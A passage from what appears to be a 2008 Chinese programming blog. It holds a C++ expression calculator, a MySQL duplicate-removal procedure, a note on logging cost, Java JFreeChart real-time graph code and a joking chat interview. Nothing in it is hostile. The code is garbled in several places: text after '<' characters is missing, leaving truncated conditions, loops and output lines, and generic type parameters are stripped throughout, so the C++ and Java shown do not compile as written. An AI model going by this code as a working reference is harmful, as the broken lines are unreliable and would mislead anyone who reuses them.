delimPos = str.find_first_of(delimiters, pos);
tokenPos = str.find_first_not_of(delimiters, pos);
if(string::npos != delimPos){
if(string::npos != tokenPos){
if(tokenPos tokens.push_back(str.substr(pos,delimPos-pos));
}else{
tokens.push_back("");
}
}else{
tokens.push_back("");
}
pos = delimPos+1;
} else {
if(string::npos != tokenPos){
tokens.push_back(str.substr(pos));
} else {
tokens.push_back("");
}
break;
}
}
return tokens;
}
inline bool isNumber(char c){
return c=='.'||'0'<=c&&c<='9';
}
inline bool isSymbol(string op) {
return op=="+"||op=="-"||op=="*"||op=="/"||op=="%"||op=="^"||op=="("||op==")";
}
inline bool isSpace(char c){
return c==' '||c=='\t'||c=='\n'||c=='\r';
}
//格式化&分离表达式
list toExpressionArray(string exp){
string fexp;
const char* data = exp.data();
int idx = 0;
int len = exp.length();
for(;idx char c = data[idx];
if(isNumber(c)){
fexp.push_back(c);
}
else if(!isSpace(c)){
fexp.push_back(' ');
fexp.push_back(c);
fexp.push_back(' ');
}
}
return Tokenize(fexp," ");
}

//中序换前序
list m2l(list m) {
list l;
stack s;
string op;
string y;
s.push("#");
for(list::const_iterator i = m.begin();i!=m.end();i++){
op = *i;
if(op=="")
continue;
if(!isSymbol(op)){
l.push_back(op);
}else{
if(icp[op]>isp[s.top()]){
s.push(op);
}else if(op==")"){
y = s.top();
s.pop();
while(y!="("){
l.push_back(y);
y = s.top();
s.pop();
}
}else{
y = s.top();
s.pop();
while(icp[op] l.push_back(y);
y = s.top();
s.pop();
}
s.push(y);
s.push(op);
}//if2
}//if1
}//for
while(s.top()!="#"){
l.push_back(s.top());
s.pop();
}
return l;
}
//计算
double _calc(double o1, double o2, char op) {
switch(op){
case '+':{
return o1+o2;
}
case '-':{
return o1-o2;
}
case '*':{
return o1*o2;
}
case '/':{
return o1/o2;
}
case '^':{
return pow(o1,o2);
}
}
return 0;
}
//计算前序表达式
double calc(list in){
stack sk;
for(list::const_iterator i = in.begin();i!=in.end();i++){
string op = *i;
if(!isSymbol(op)){
sk.push(atof(op.data()));
}else{
double o2 = sk.top();
sk.pop();
double o1 = sk.top();
sk.pop();
char o = op.data()[0];
double r = _calc(o1,o2,o);
sk.push(r);
}
}
return sk.top();
}
//没用
void printList(list l){
int x=0;
for(list::const_iterator i = l.begin();i!=l.end();i++){
cout<<++x<<":"<<*i< }
}
int main()
{
isp["+"]=3;
isp["-"]=3;
isp["*"]=5;
isp["/"]=5;
isp["%"]=5;
isp["^"]=5;
isp["("]=1;
isp[")"]=6;
isp["#"]=0;

icp["+"]=2;
icp["-"]=2;
icp["*"]=4;
icp["/"]=4;
icp["%"]=4;
icp["^"]=4;
icp["("]=6;
icp[")"]=1;
icp["#"]=0;

string exp;
cout<<"Exp:";
cin>>exp;
list l1 = toExpressionArray(exp);
printList(l1);
list l2 = m2l(l1);
printList(l2);
double r = calc(l2);
cout<<"Result:"< return 0;
}

2008年11月4日星期二

超长字段数据库删除重复记录

今天接到一个CASE,在遥远的德国有一个1.1GB的MYSQL数据库,里面只有一个表,表里记录了若干很大的text字段和Blob字段,要求把某个text字段的重复项删除。(表里有上百万的记录,需要排除重复的字段平均大小在1K左右,带索引)
表结构如下:

DROP TABLE IF EXISTS `cert_db`.`certs`;
CREATE TABLE `cert_db`.`certs` (
`id` int(10) unsigned NOT NULL auto_increment,
`ServerName` varchar(128) default NULL,
`SerialNumber` blob NOT NULL,
`Version` int(10) unsigned NOT NULL,
`NotBefore` datetime NOT NULL,
`NotAfter` datetime NOT NULL,
`CertData` blob NOT NULL,
`IPK_DUMP` blob,
`IPK_N` blob,
`IPK_E` blob,
`Signature` blob NOT NULL,
`SigAlgName` varchar(50) default NULL,
`SigAlgOID` varchar(50) default NULL,
`SigAlgParams` blob,
`SubjectDN` text,
`IssuerDN` text,
`CertDump` text,
`SPK_DUMP` blob,
`SPK_N` blob,
`SPK_E` blob,
`ReallyBAD` char(1) default NULL,
`X509Dump` blob NOT NULL,
PRIMARY KEY (`id`),
KEY `IDX_CERTDN` USING HASH (`SubjectDN`(383))
) ENGINE=InnoDB AUTO_INCREMENT=4515 DEFAULT CHARSET=gbk;

第一次尝试使用如下语句:

delete from certs
where subjectdn in (
select subjectdn from certs
group by
subjectdn
having
count(subjectdn) > 1
)
and id not in (
select min(id) from certs
group by
certs
having
count(certs)>1
)

结果在本地的4000条记录上测试时就华丽的让MYSQL 挂掉了。。
然后使用md5进行索引,分步骤删除,成功:

#hash all
DROP TABLE IF EXISTS hash_all;
create table hash_all(
select id,md5(subjectdn) as dnhash from certs
);
#find dupclited
DROP TABLE IF EXISTS hash_dup;
create table hash_dup(
select id,dnhash from hash_all
group by
dnhash
having
count(dnhash)>1
);
#list rows to delete
DROP TABLE IF EXISTS hash_del;
create table hash_del(
select h.id,h.dnhash from hash_all h,hash_dup d
where
h.id!=d.id
and
h.dnhash=d.dnhash
);
#delete
delete c from certs c,hash_del d where c.id=d.id;
#then clean up
DROP TABLE IF EXISTS hash_all;
DROP TABLE IF EXISTS hash_dup;
DROP TABLE IF EXISTS hash_del;

2008年10月8日星期三

性能敏感的环境下用日志要小心

昨天用Profiler跑CPU负载时发现某个函数占用的CPU特别的多……但是函数本身没有什么特别之处,只是调用十分频繁(但是不止这一个函数调用频繁),最后吧焦点锁定到了日志记录上(好像经常跟上面栽跟头啊)
本来是用String.format格式化了一个字符串,然后再传到logger里面的,但是这个logger已经被关掉了。所以问题出在String.format上,屏蔽掉这个东西以后果然CPU占用立刻减少。
但是日志怎么办呢,Log4j的logger提供了isXXXEnabled方法,外面加个if就搞定了

2008年10月4日星期六

还是JFC,还是实时曲线图,就是加入了一个封装。




/*
* Copyrights (C) 2008 Bearice (Bearice@Gmail.com)
* Release under GNU/GPL Version 2.
*/

package cn.bearice.ipcontroller.manager.graph;

/**
*
* @author Bearice
*/
public interface RealTimeGraphDataSouce {
public Number getDate();
}


/*
* RealTimeGraphPanel.java
*
* Created on 2008年10月1日, 下午2:04
*/
package cn.bearice.ipcontroller.manager.graph;

import cn.bearice.java.util.StopableThread;
import java.awt.BorderLayout;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.util.ArrayList;
import java.util.Collection;
import java.util.LinkedHashMap;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JFrame;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.ChartPanel;
import org.jfree.chart.JFreeChart;
import org.jfree.chart.axis.ValueAxis;
import org.jfree.chart.plot.XYPlot;
import org.jfree.chart.title.TextTitle;
import org.jfree.data.time.Millisecond;
import org.jfree.data.time.RegularTimePeriod;
import org.jfree.data.time.Second;
import org.jfree.data.time.TimeSeries;
import org.jfree.data.time.TimeSeriesCollection;

/**
*
* @author Bearice
*/
public class RealTimeGraphPanel extends javax.swing.JPanel {

private static final long serialVersionUID = 8250077948583513551L;
private TimeSeriesCollection timeSeriesCollection = new TimeSeriesCollection();
private JFreeChart jFreeChart = ChartFactory.createTimeSeriesChart(null, null, null, timeSeriesCollection, true, true, false);
private ChartPanel chartPanel = new ChartPanel(jFreeChart);
private XYPlot xyplot = jFreeChart.getXYPlot();
private LinkedHashMap tss = new LinkedHashMap();
private Class timeClass = Millisecond.class;
private long updateRate = 1000;
private long fixedDisplayRange = 50000;
private int maxSimpleCount = 10000;
private long maxSimpleAge = Long.MAX_VALUE;

public int getMaxSimpleCount() {
return maxSimpleCount;
}

public synchronized void setMaxSimpleCount(int maxSimpleCount) {
int old = this.maxSimpleCount;
this.fixedDisplayRange = maxSimpleCount;
Collection t = new ArrayList(tss.values());
for (TimeSeries timeSeries : t) {
timeSeries.setMaximumItemCount(maxSimpleCount);
}
firePropertyChange("maxSimpleCount", old, maxSimpleCount);
}

public long getMaxSimpleAge() {
return maxSimpleAge;
}

public synchronized void setMaxSimpleAge(long maxSimpleAge) {
long old = this.maxSimpleAge;
this.maxSimpleAge = maxSimpleAge;
Collection t = new ArrayList(tss.values());
for (TimeSeries timeSeries : t) {
timeSeries.setMaximumItemAge(maxSimpleAge);
}
firePropertyChange("maxSimpleAge", old, maxSimpleAge);
}

public long getFixedDisplayRange() {
return fixedDisplayRange;
}

public synchronized void setFixedDisplayRange(long fixedDisplayRange) {
long old = this.fixedDisplayRange;
this.fixedDisplayRange = fixedDisplayRange;
if (jrdoFixed.isSelected()) {
jrdoFixedActionPerformed(null);
}
firePropertyChange("fixedDisplayRange", old, fixedDisplayRange);
}

public long getUpdateRate() {
return updateRate;
}

public synchronized void setUpdateRate(long updateRate) {
long old = this.updateRate;
this.updateRate = updateRate;
if (t1 != null) {
t1.interrupt();
}
firePropertyChange("updateRate", old, updateRate);
}

public void setTitle(String text) {
jFreeChart.setTitle(text);
}

public TextTitle getTitle() {
return jFreeChart.getTitle();
}

public void setTitle(TextTitle title) {
jFreeChart.setTitle(title);
}

public Class getTimeClass() {
return timeClass;
}

protected void setTimeClass(Class timeClass) {
this.timeClass = timeClass;
}

public String getXLable() {
return xyplot.getDomainAxis().getLabel();
}

public void setXLable(String xLable) {
xyplot.getDomainAxis().setLabel(xLable);
}

public String getYLable() {
return xyplot.getRangeAxis().getLabel();
}

public void setYLable(String yLable) {
xyplot.getRangeAxis().setLabel(yLable);
}

public RealTimeGraphPanel() {
}

public RealTimeGraphPanel(Class timeClass) {
setTimeClass(timeClass);
}

public RealTimeGraphPanel(String title, String xLable, String yLable) {
setTitle(title);
setXLable(xLable);
setYLable(yLable);
init();
}

/** Creates new form RealTimeGraphPanel */
public RealTimeGraphPanel(Class timeClass, String title, String xLable, String yLable) {
this(timeClass);
setTitle(title);
setXLable(xLable);
setYLable(yLable);
init();
}

public synchronized void init() {
ValueAxis valueaxis = xyplot.getDomainAxis();
valueaxis.setAutoRange(true);
valueaxis = xyplot.getRangeAxis();
valueaxis.setAutoRange(true);
initComponents();
}

public synchronized void addTimeSeries(RealTimeGraphDataSouce ds, String name) {
TimeSeries timeSeries = new TimeSeries(name, timeClass);
timeSeries.setMaximumItemCount(maxSimpleCount);
timeSeries.setMaximumItemAge(maxSimpleAge);
timeSeriesCollection.addSeries(timeSeries);
tss.put(ds, timeSeries);
}

public static void main(String[] args) {
JFrame frame = new JFrame("Test Chart");
final RealTimeGraphPanel rtgp = new RealTimeGraphPanel(Second.class, "Triangle Functions", "Time", "Value");
rtgp.addTimeSeries(new RealTimeGraphDataSouce() {

int i;

public Number getDate() {
return Math.sin(i++ * 0.01);
}
}, "Sin(t)");
rtgp.addTimeSeries(new RealTimeGraphDataSouce() {

int i;

public Number getDate() {
return Math.cos(i++ * 0.01);
}
}, "Cos(t)");
rtgp.addTimeSeries(new RealTimeGraphDataSouce() {

int i;

public Number getDate() {
double d = Math.cos(i * 0.01) + Math.sin(i * 0.01);
i++;
return d;
}
}, "Cos(t)+Sin(t)");
rtgp.addTimeSeries(new RealTimeGraphDataSouce() {

int i;

public Number getDate() {
double d = Math.cosh(i * 0.01);
i++;
return d;
}
}, "cosh(t)");
rtgp.setUpdateRate(20);
rtgp.setTimeClass(Millisecond.class);
frame.getContentPane().add(rtgp, BorderLayout.CENTER);
frame.pack();
frame.setVisible(true);
frame.addWindowListener(new WindowAdapter() {

@Override
public void windowClosing(WindowEvent windowevent) {
System.exit(0);
}
});
}

/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
//
private void initComponents() {
bindingGroup = new org.jdesktop.beansbinding.BindingGroup();

buttonGroup1 = new javax.swing.ButtonGroup();
jPanel1 = (chartPanel);
jScrollPane1 = new javax.swing.JScrollPane();
jPanel2 = new javax.swing.JPanel();
jLabel3 = new javax.swing.JLabel();
jSpinner2 = new javax.swing.JSpinner();
jLabel4 = new javax.swing.JLabel();
jLabel1 = new javax.swing.JLabel();
jSpinner1 = new javax.swing.JSpinner();
jLabel2 = new javax.swing.JLabel();
jbtnStart = new javax.swing.JButton();
jbtnStop = new javax.swing.JButton();
jbtnClear = new javax.swing.JButton();
jrdoScaled = new javax.swing.JRadioButton();
jrdoFixed = new javax.swing.JRadioButton();
jLabel6 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jSpinner4 = new javax.swing.JSpinner();
jSpinner3 = new javax.swing.JSpinner();

setName("Form"); // NOI18N

jPanel1.setName("jPanel1"); // NOI18N

javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 460, Short.MAX_VALUE)
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 193, Short.MAX_VALUE)
);

jScrollPane1.setBorder(javax.swing.BorderFactory.createTitledBorder("Options"));
jScrollPane1.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
jScrollPane1.setVerticalScrollBarPolicy(javax.swing.ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
jScrollPane1.setName("jScrollPane1"); // NOI18N

jPanel2.setName("jPanel2"); // NOI18N

jLabel3.setText("Update rate:");
jLabel3.setName("jLabel3"); // NOI18N

jSpinner2.setModel(new javax.swing.SpinnerNumberModel(Long.valueOf(0L), Long.valueOf(0L), null, Long.valueOf(50L)));
jSpinner2.setName("jSpinner2"); // NOI18N

org.jdesktop.beansbinding.Binding binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, this, org.jdesktop.beansbinding.ELProperty.create("${updateRate}"), jSpinner2, org.jdesktop.beansbinding.BeanProperty.create("value"));
bindingGroup.addBinding(binding);

jLabel4.setText("ms");
jLabel4.setName("jLabel4"); // NOI18N

jLabel1.setText("Range:");
jLabel1.setName("jLabel1"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, jrdoFixed, org.jdesktop.beansbinding.ELProperty.create("${selected}"), jLabel1, org.jdesktop.beansbinding.BeanProperty.create("enabled"));
bindingGroup.addBinding(binding);

jSpinner1.setModel(new javax.swing.SpinnerNumberModel(Long.valueOf(0L), Long.valueOf(0L), null, Long.valueOf(500L)));
jSpinner1.setName("jSpinner1"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, this, org.jdesktop.beansbinding.ELProperty.create("${fixedDisplayRange}"), jSpinner1, org.jdesktop.beansbinding.BeanProperty.create("value"));
bindingGroup.addBinding(binding);
binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, jrdoFixed, org.jdesktop.beansbinding.ELProperty.create("${selected}"), jSpinner1, org.jdesktop.beansbinding.BeanProperty.create("enabled"));
bindingGroup.addBinding(binding);

jLabel2.setText("ms");
jLabel2.setName("jLabel2"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, jrdoFixed, org.jdesktop.beansbinding.ELProperty.create("${selected}"), jLabel2, org.jdesktop.beansbinding.BeanProperty.create("enabled"));
bindingGroup.addBinding(binding);

jbtnStart.setText("Start");
jbtnStart.setName("jbtnStart"); // NOI18N
jbtnStart.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnStartActionPerformed(evt);
}
});

jbtnStop.setText("Stop");
jbtnStop.setEnabled(false);
jbtnStop.setName("jbtnStop"); // NOI18N
jbtnStop.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnStopActionPerformed(evt);
}
});

jbtnClear.setText("Clear");
jbtnClear.setName("jbtnClear"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, jbtnStop, org.jdesktop.beansbinding.ELProperty.create("${enabled}"), jbtnClear, org.jdesktop.beansbinding.BeanProperty.create("enabled"));
bindingGroup.addBinding(binding);

jbtnClear.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnClearActionPerformed(evt);
}
});

buttonGroup1.add(jrdoScaled);
jrdoScaled.setSelected(true);
jrdoScaled.setText("Scaled");
jrdoScaled.setName("jrdoScaled"); // NOI18N
jrdoScaled.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jrdoScaledActionPerformed(evt);
}
});

buttonGroup1.add(jrdoFixed);
jrdoFixed.setText("Fixed");
jrdoFixed.setName("jrdoFixed"); // NOI18N
jrdoFixed.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jrdoFixedActionPerformed(evt);
}
});

jLabel6.setText("MSA");
jLabel6.setToolTipText("Maxium Simple Time (ms)");
jLabel6.setName("jLabel6"); // NOI18N

jLabel5.setText("MSC");
jLabel5.setToolTipText("Maxium Simple Count");
jLabel5.setName("jLabel5"); // NOI18N

jSpinner4.setModel(new javax.swing.SpinnerNumberModel(Long.valueOf(0L), null, null, Long.valueOf(1L)));
jSpinner4.setName("jSpinner4"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, this, org.jdesktop.beansbinding.ELProperty.create("${maxSimpleAge}"), jSpinner4, org.jdesktop.beansbinding.BeanProperty.create("value"));
bindingGroup.addBinding(binding);

jSpinner3.setModel(new javax.swing.SpinnerNumberModel());
jSpinner3.setName("jSpinner3"); // NOI18N

binding = org.jdesktop.beansbinding.Bindings.createAutoBinding(org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.READ_WRITE, this, org.jdesktop.beansbinding.ELProperty.create("${maxSimpleCount}"), jSpinner3, org.jdesktop.beansbinding.BeanProperty.create("value"));
bindingGroup.addBinding(binding);

javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createSequentialGroup()
.addComponent(jLabel3)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jSpinner2, javax.swing.GroupLayout.PREFERRED_SIZE, 70, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jSpinner1, javax.swing.GroupLayout.PREFERRED_SIZE, 80, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel2))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createSequentialGroup()
.addComponent(jbtnStart)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jbtnStop)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jbtnClear)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jrdoScaled)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jrdoFixed)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jLabel6, javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel5, javax.swing.GroupLayout.Alignment.LEADING))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jSpinner4)
.addComponent(jSpinner3, javax.swing.GroupLayout.DEFAULT_SIZE, 73, Short.MAX_VALUE))
.addContainerGap(13, Short.MAX_VALUE))
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jbtnStart)
.addComponent(jbtnStop)
.addComponent(jbtnClear)
.addComponent(jrdoFixed)
.addComponent(jrdoScaled))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3)
.addComponent(jSpinner2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4)
.addComponent(jLabel1)
.addComponent(jSpinner1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2)))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel5)
.addComponent(jSpinner3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel6)
.addComponent(jSpinner4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addContainerGap())
);

jScrollPane1.setViewportView(jPanel2);

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 460, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
);

bindingGroup.bind();
}//


class RefThread extends StopableThread {

@Override
protected void loop() throws InterruptedException {
LinkedHashMap lhm = new LinkedHashMap(tss);
for (RealTimeGraphDataSouce ds : tss.keySet()) {
try {
Number val = ds.getDate();
TimeSeries ts = lhm.get(ds);
ts.addOrUpdate((RegularTimePeriod) timeClass.newInstance(), val);
} catch (Exception ex) {
Logger.getLogger(RealTimeGraphPanel.class.getName()).log(Level.SEVERE, null, ex);
}
}
Thread.sleep(updateRate);
}
}
RefThread t1;

public synchronized void start() {
t1 = new RefThread();
t1.start();
jbtnStart.setEnabled(false);
jbtnStop.setEnabled(true);
}

public synchronized void stop() {
t1.exit();
t1 = null;
jbtnStart.setEnabled(true);
jbtnStop.setEnabled(false);
}

public synchronized void clear() {
Collection t = new ArrayList(this.tss.values());
for (TimeSeries timeSeries : t) {
timeSeries.clear();
}
}
private void jbtnStartActionPerformed(java.awt.event.ActionEvent evt) {
start();
}

private void jbtnClearActionPerformed(java.awt.event.ActionEvent evt) {
clear();
}

private void jrdoFixedActionPerformed(java.awt.event.ActionEvent evt) {
xyplot.getDomainAxis().setFixedAutoRange(fixedDisplayRange);
}

private void jrdoScaledActionPerformed(java.awt.event.ActionEvent evt) {
xyplot.getDomainAxis().setFixedAutoRange(0);
}

private void jbtnStopActionPerformed(java.awt.event.ActionEvent evt) {
stop();
}
// Variables declaration - do not modify
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSpinner jSpinner1;
private javax.swing.JSpinner jSpinner2;
private javax.swing.JSpinner jSpinner3;
private javax.swing.JSpinner jSpinner4;
private javax.swing.JButton jbtnClear;
private javax.swing.JButton jbtnStart;
private javax.swing.JButton jbtnStop;
private javax.swing.JRadioButton jrdoFixed;
private javax.swing.JRadioButton jrdoScaled;
private org.jdesktop.beansbinding.BindingGroup bindingGroup;
// End of variables declaration
}

社论:某熊答记者问

几天前的事情了……不过一直登不上Blogger,所以今天才发。

darth ssword 00:30:40
您现在程序的规模大致是多少呢


IcyBear 00:31:40
当前模块大概300row
当前项目大概数K
整个系统应该上数W

darth ssword 00:32:12
天那
您是怎么做到的


IcyBear 00:33:09
一个字:磨
两个字:死抗



darth ssword 00:33:40
经典!
darth ssword 00:33:55
开发周期呢


IcyBear 00:35:24
别提了,八年了……


darth ssword 00:35:45
!!


IcyBear 00:36:02
整个东西就两个人,那个不用java- -
但是超过3/4是java实现- -


darth ssword 00:37:32
究竟是什么让您爆发出如此非凡的勇气和毅力?
darth ssword 00:37:58
什么系统丫


IcyBear 00:38:22
给学校写的网络控制系统,收费的

IcyBear 00:38:45
darth ssword 00:37:32
究竟是什么让您爆发出如此非凡的勇气和毅力?
因为据说有可能不一定会给¥¥


darth ssword 00:40:12
惊,我听说lieo骗到过3000+
darth ssword 00:40:25
您究竟。。。


IcyBear 00:41:15
ToT
国家三令五申,严禁拖欠程序员工资,但是学校竟然,他竟然……(晕过去,饿的)



darth ssword 00:42:02
同情+悲愤
darth ssword 00:43:05
控制如此巨大的项目,您一个人有什么经验和教训吗



IcyBear 00:44:00
文档对一个团队来说是重要的,对一个人来说仿佛就成了累赘



darth ssword 00:45:48
您是否认为您的程序中包含大量的设计模式


IcyBear 00:47:29
有关这个问题,我想这么回答:该用的用了,不该用的乱用了,需要用的地方想用但是不会用,不需要用的地方想不用但是不用就没发写了



darth ssword 00:48:57
您怎么看待uml


IcyBear 00:49:22
没用过……不知道,请下一位记者提问


darth ssword 00:50:02
您对版本控制有什么心得吗


IcyBear 00:50:42
有……有事没事经常commit一下绝对没坏处



darth ssword 00:51:40
在漫长的开发过程中,您是如何抗拒外来的诱惑的


IcyBear 00:52:26
诱惑?要是有诱惑我早TMD不干了(拍桌子)


darth ssword 00:54:34
那么,您除了编程之外的生活是如何度过的?例如学习啊,小妹啊,etc


IcyBear 00:56:51
我用几句名言回答您的提问:
1)六十分万岁,多一份浪费,少一分白费
2)我对3次元空间的MM不感兴趣,如果你们当中有宇宙人,未来人,超能力者,请来找我,以上。
谢谢


darth ssword 00:59:26
谢谢您的回答,您的回答让我很受启迪!


IcyBear 00:59:49
不用感谢,这次的记者招待会就到这里,大家晚安


darth ssword 01:00:27
(掌声)

2008年10月1日星期三

JFreeChart的实时曲线图的例子

好久没更新过技术相关的东西了,今天要开始写管理控制台,里面需要用到实时曲线图,决定使用JFreeChart做,这东西还真的挺好用,简单的几句代码就能搭建一个看起来不错的程序:-)
预览图:



/*
* RealTimeGraphPanel.java
*
* Created on 2008年10月1日, 下午2:04
*/
package cn.bearice.ipcontroller.manager.graph;

import cn.bearice.java.util.StopableThread;
import java.awt.BorderLayout;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.util.ArrayList;
import java.util.Random;
import javax.swing.JFrame;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.ChartPanel;
import org.jfree.chart.JFreeChart;
import org.jfree.chart.axis.ValueAxis;
import org.jfree.chart.plot.XYPlot;
import org.jfree.data.time.Second;
import org.jfree.data.time.TimeSeries;
import org.jfree.data.time.TimeSeriesCollection;

/**
*
* @author Bearice
*/
public class RealTimeGraphPanel extends javax.swing.JPanel {

private static final long serialVersionUID = 8250077948583513551L;
TimeSeriesCollection tcl;
ChartPanel cp;
JFreeChart jfc;
ArrayList tss = new ArrayList();
TimeSeries tts = new TimeSeries("Avg.", Second.class);

/** Creates new form RealTimeGraphPanel */
public RealTimeGraphPanel() {
tcl = new TimeSeriesCollection();
tcl.addSeries(tts);
addTimeSeries();
jfc = ChartFactory.createTimeSeriesChart("Random Numbers", "Time", "Value", tcl, true, true, false);
XYPlot xyplot = jfc.getXYPlot();
ValueAxis valueaxis = xyplot.getDomainAxis();
